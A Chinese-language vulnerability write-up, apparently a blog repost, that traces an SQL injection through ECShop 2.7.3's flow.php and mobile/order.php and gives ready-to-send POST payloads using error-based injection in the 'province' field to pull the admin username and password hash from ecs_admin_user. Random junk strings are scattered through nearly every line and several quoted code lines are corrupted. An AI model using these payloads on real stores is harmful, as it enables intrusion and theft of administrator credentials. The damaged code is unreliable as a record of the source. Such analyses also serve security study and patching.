前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
9 t( ^/ `6 w8 d5 O& J) ~
) c* W6 l' N) S2 I 漏洞关键文件:
& D- O0 f3 `3 i8 p1 S4 H
5 i8 U/ h; C6 R u- k /includes/lib_order.php
6 |. t- I! Q' r# D& F+ Z6 u( t
& H9 c, a1 w; n( U! m& E; v$ |( D 关键函数:
. |! ~/ R5 x2 |) e0 P/ y; E @
( O1 v' @9 a, q+ F / I* l. m- n+ k6 v& A, K
/ v! l+ ^, r7 \: w
01 function available_shipping_list($region_id_list) 4 E7 a* {, Z8 P; j
9 |) B" g8 {9 I( F, d02 {
+ v6 u, `" m9 Y I; N
6 A6 L: q0 K) H' c- G; a/ r9 C03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 k+ `$ N2 a% F3 m" Q" _* l/ H% C
' ~ D' h* _. n8 e: O( `
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
C. g( o5 p$ S* ^1 S6 `; O9 n8 k& _+ s$ p4 L$ f0 t2 C
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
! P' l' v3 C; e0 S' b4 ?: F* |
. L% l( H3 H$ X) q6 B' l06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . : \) g: ]6 f' v; c u. l8 W7 @
4 x. N* V( V% \& q3 y
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
. V Q; |7 Q' L3 B+ J; G0 S
9 f7 K& p5 B$ K- ?. J9 B* m8 \08 'WHERE r.region_id ' . db_create_in($region_id_list) . # V! ~) M; }5 |- R9 F. C1 Z
+ v6 t+ O2 s: Q% o- O9 T
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; * T! K# A: q& n$ I% ]8 K- j
+ ^9 }( M, X1 f- ?+ x$ E10
( w- }! Z% b6 I1 O8 z! u/ f$ m- d6 Z$ W( p( x( u. T# z7 g
11 return $GLOBALS['db']->getAll($sql); ( @6 R. D% m* m( X- n
6 z8 V, K7 Y$ F( \: S0 s0 Y; |' U
12 }
7 Z, W/ I, T8 W Y) U. A
" Y" N2 m7 p& p1 y( |+ n/ W显然对传入的参数没有任何过滤就带入了查询语句。( x4 t( T3 P- }' o# ^' F% }/ O+ r6 V4 h
- D* [% A/ R( r8 Z, m9 g
下面我们追踪这个函数在flow.php中:
; d. z0 c/ L; Y/ o* E' S, X4 u 第531行:
* I* Y |& } H" D F) j" q+ o, F. I( }6 C
1 $shipping_list = available_shipping_list($region); 8 H# U/ C( f. L8 h5 p' P
& I% l' Y6 `( O ) o g/ o7 V8 ^- a' M e- r
; k0 F+ D5 {# w- M
" ?9 |9 n, k8 c: F
5 E: G( i; q: |# k再对传入变量进行追踪: k5 p. r% R v; z- h
$ ]% |2 n, [% ^) Z& z
第530行: $ H* }% w! R! Q7 n
. _" s* v# M! B; M# h1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
, `% y2 d$ Z% M0 P
+ l' z9 w6 x6 ^. z
" I% j3 j s' O% l3 e% o8 k% M2 U, o
$ @& L+ R) D5 c7 f
+ }, N9 w, u0 _$ g第473行: : K; T. w6 P# A6 R
/ e+ T& B' Q% v0 ]3 L3 h% J
1 $consignee = get_consignee($_SESSION['user_id']); 9 M' E4 f5 W! g: ]9 ]2 ?) [
4 X6 X( g2 q" B* G! s( j* w/ F到了一个关键函数:2 L' C4 t2 f" x/ [) A! y- N* J
; A" D* W1 t6 L
/includes/lib_order.php
c3 s$ ]) }6 i! m
0 ?% d% u) I+ O U! g1 V
7 {2 t' M0 b1 L, X& Y- ?, Z9 d* i5 t' t8 j
% l* M2 x# [1 w$ \) a: @6 H) y
$ I1 O9 i9 h( [4 r p6 y01 function get_consignee($user_id) ' y W7 b- Z; o$ W6 R
. g1 j' p; O8 m8 D* J' I6 E6 V& j
02 { 4 i; Q/ z+ n8 q' w, w
8 J9 Z& [5 j f" ~2 N' F4 v
03 if (isset($_SESSION['flow_consignee']))
) p: a8 x: `7 Q% A1 s
+ s0 B$ ?9 u3 k04 {
' c9 u7 c v9 q# y! {8 x# T, m9 } u4 I# o/ ^/ |# L
05 /* 如果存在session,则直接返回session中的收货人信息 */ / |! `. q$ h- M/ D$ t) E
% C/ b$ {9 ~3 y. |- L
06
/ `7 N9 V1 O. q K# K7 Q4 I: Z) u
07 return $_SESSION['flow_consignee']; / [7 K W7 k9 H: q) q
* N% f# L* B9 [08 }
( f, L: i0 L2 @/ o6 {+ a: }: Q# l' u1 z# }7 O' L2 J B) l/ x
09 else ' l$ ^& g+ d* p) m4 R) w
" U/ _; p0 `3 }3 q' x! @10 { 4 [7 A/ q+ p- c8 P
) n2 k! w: D3 A3 p$ L$ J
11 /* 如果不存在,则取得用户的默认收货人信息 */
* x& {1 O8 Y, }, `! f
9 M. t% S3 W/ ~1 Z- Y12 $arr = array();
) o$ b+ S/ v) f( o$ f) }$ c2 f+ ^! |, a/ X6 V1 G! P6 G
13 8 l2 Y6 S2 R7 C0 r
; J. l- c" _$ [9 o8 H1 K* ]14 if ($user_id > 0) 7 {! F. Y6 ^3 L* n& S! g7 \" ?
/ ?" x6 o$ z2 ~& m( W( N15 {
4 C! Z4 B- H* {0 s- r
; p0 g; A" @+ N" a; R$ E' T# @16 /* 取默认地址 */ 3 L! N# g; x0 x5 n+ M! W+ h: G
8 v3 ~/ ^# l, @- ~7 c0 F
17 $sql = "SELECT ua.*".
o4 K4 ]6 { [' b. E6 m4 [, p/ I: e( F# |3 L1 _" o; L& Y
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' k6 N! Q& w& e! H7 C1 {5 `9 U0 y6 C& M! p" ^5 \
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; * ?$ ?# Z% }+ Q* [* f
% |: v4 W8 i6 T$ @" r2 ~. k
20 - [* f( Q. O' n6 w: e6 W; Q
4 `, d9 k' Q; c7 K9 e" Q1 U5 R21 $arr = $GLOBALS['db']->getRow($sql);
; g* F$ i: ~5 ~, u. f0 C3 w0 A" Q8 m
! V+ g: q5 x l. x, L2 e22 }
# Q0 o! g- @ s+ ?- E
" M8 Q) k! i0 @7 }" K3 u" x23 ! r0 I1 J, t1 {$ D# o
: W: s) e$ S6 R- K8 T
24 return $arr; % y+ Q+ J, P( n+ V% i
! U; @. K K+ L) {# ?& P* V8 V& D
25 }
6 U4 l3 s. r( d9 e( W
! t& b% y7 z5 d% N5 G26 }
' G8 b0 o0 w' y4 i1 x' ^
9 @2 e- I v/ U9 [; c2 V+ A' O1 n显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?2 Z: e! J0 | `6 J' Q
1 T, w9 O1 k9 w6 j
: W& E( ~' q, p. \9 e! I
7 ]9 O+ M& ]9 ?* i关键点:
" Y4 b. `& ~) F' L5 C6 _/ o1 g1 Y$ i: I" s8 m6 @& H6 `
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
/ @; g; {& p! V Z5 B0 p% Q6 n x( r2 X, I. h2 a, a' D" e j
这里对传入参数反转义存入$_SESSION中。6 k) U, Z- q, S- J3 h
8 D3 c) |5 t& G8 N( M& T8 [ 9 L" |+ C& `4 g) G# r
0 \! \- r( w3 U/ i v3 d9 a6 {% V然后看下:
" v2 W3 u- b! C1 n+ |; e/ }. D0 H0 }. t& y
( P3 [# k s5 D- N# n! ]# ^3 k/ }9 j
6 h6 x5 m$ ^6 Z, G7 A
2 X7 r' k, f( d. T
# i& ?4 V5 [# t/ c01 $consignee = array( ( [/ G+ q3 V# P) [% h, T1 U
' m; Y2 Z6 \' e( s% X7 @" S02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
# d. ]/ g$ [9 M) X: P5 E0 z$ k6 \$ Z& G; g' G2 v8 i
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), % F$ u& K% w+ e' n5 \
0 G$ n" [% D. U* w* F% b04 'country' => empty($_POST['country']) ? '' _POST['country'], $ R/ h4 I* O; c0 @( |5 @) O8 w
! i6 ?! q! O) I; P, ]9 H* k05 'province' => empty($_POST['province']) ? '' _POST['province'], ' m( W" e7 s0 e& q4 {: T1 w
" T3 g$ ]+ \5 t8 F; ^
06 'city' => empty($_POST['city']) ? '' _POST['city'], 7 s `' k3 E3 v0 | |: ^5 d
4 B+ o( v- O& M8 o, L07 'district' => empty($_POST['district']) ? '' _POST['district'], * w6 N8 D0 Z; Y0 E# D/ F9 w' }
6 L. y. q# t4 o- ]; k
08 'email' => empty($_POST['email']) ? '' _POST['email'], 4 C: g& s* C2 o3 A5 Q d* i2 V
% E/ B, g/ f# P( I09 'address' => empty($_POST['address']) ? '' _POST['address'],
$ Q9 r) a; g# z" S6 b- i: ^' u; u( E' x5 V4 [% a
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
) y: w3 G1 P3 ^1 _: [5 ?8 l2 e( P+ f. W
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), - G: t; c7 y/ P! S1 o/ W7 D0 ` `, ~
. U G7 u9 D9 m: l* G0 }4 G12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
. I' M, E& x1 F: ?, }; i
/ z4 Q# c# K9 W: s% R q4 Q13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 2 s. E% N6 A8 G: ?1 i) x$ [+ R/ ?
! v) k( R( H1 ^( |14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
, K/ B% }8 h( _) `. q- ~) n* e, @- J/ ^
15 );
8 e* D3 W3 C: d" P8 C! c& r6 t8 u3 \" j5 B
好了注入就这样出现了。" y) l k5 t" z' M
4 S0 s5 M* Y& w% @: a==================
, S) u0 b: p1 ^9 ~) {$ m, j0 v
T) i7 ~. D' `: p注入测试:. _; d8 K" ]2 f
5 }8 ]5 W1 S I* M/ [9 o环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& i, |) g' c2 l, D( k2 l" ?4 M
6 j) f% A* P1 A& a8 L, N% F" Z测试程序:ECShop_V2.7.3_UTF8_release1106/ T) a n" X/ j
+ T8 h E8 I, q: D+ M5 Y) A( u2 Z
4 `9 R( {& I( T: V# A
?# n/ a4 t6 v
1.首先需要点击一个商品加入购物车% ?# B5 a; o8 g# v3 a9 F: Z' r# x
: f- @7 r; }, K) z
2.注册一个会员帐号
6 m" P- {$ N, y3 b# L
5 W$ o/ W9 r9 q7 {3.post提交数据" e( M) [! U, G
' `! p6 U% C6 _8 K ( E! @1 M( ~6 n9 u* i d6 M
: J. ]9 V# G0 o7 l# t/ F/ a& F1 http://127.0.0.1/ecshop/flow.php
: E1 C/ G' R! P8 r F5 ?/ ]& A- @
2 5 }# x9 ^/ L8 b5 K. }
) c2 @! ~2 \7 H0 b5 O* r7 `* V
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ; v( E8 A2 |+ X$ P, N0 `" @2 p; X
举一反三,我们根据这个漏洞我们可以继续深入挖掘:( `8 n' h9 g l! U# @
% C5 T! y% y: m( g. _
我们搜寻关键函数function available_shipping_list()2 S2 x, ^$ j- p7 b* r# A
9 [+ [& P% V. O% A
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同( I% [7 T( a$ j- a1 h- K8 U
/ g; F+ o% h) K9 s) u7 P
利用exp:
/ U/ w+ ?# c" H/ ~2 K0 L. T& g, E/ X) x* i1 W
1.点击一个商品,点击购买商标
% t) u9 k8 g: {( _4 L. y( m2 u0 O; a' B8 E- m& l3 J( Z
2.登录会员帐号/ e V, S4 |' P2 @* Y
: x7 r- x7 p5 T( v* g0 A
3.post提交:& g3 M9 V, F! M a$ C
5 {7 @2 S0 v* u Y
http://127.0.0.1/ecshop/mobile/order.php. Y( V0 P+ H" x4 }
5 M* N% M; o# X( R$ ^
1 W9 P. f+ Q$ V: z x9 a
- ^! \+ B* {0 W) gcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
1 v! ~$ t0 y5 e" n) W
* Y0 c) S* R# s+ Q5 D" m |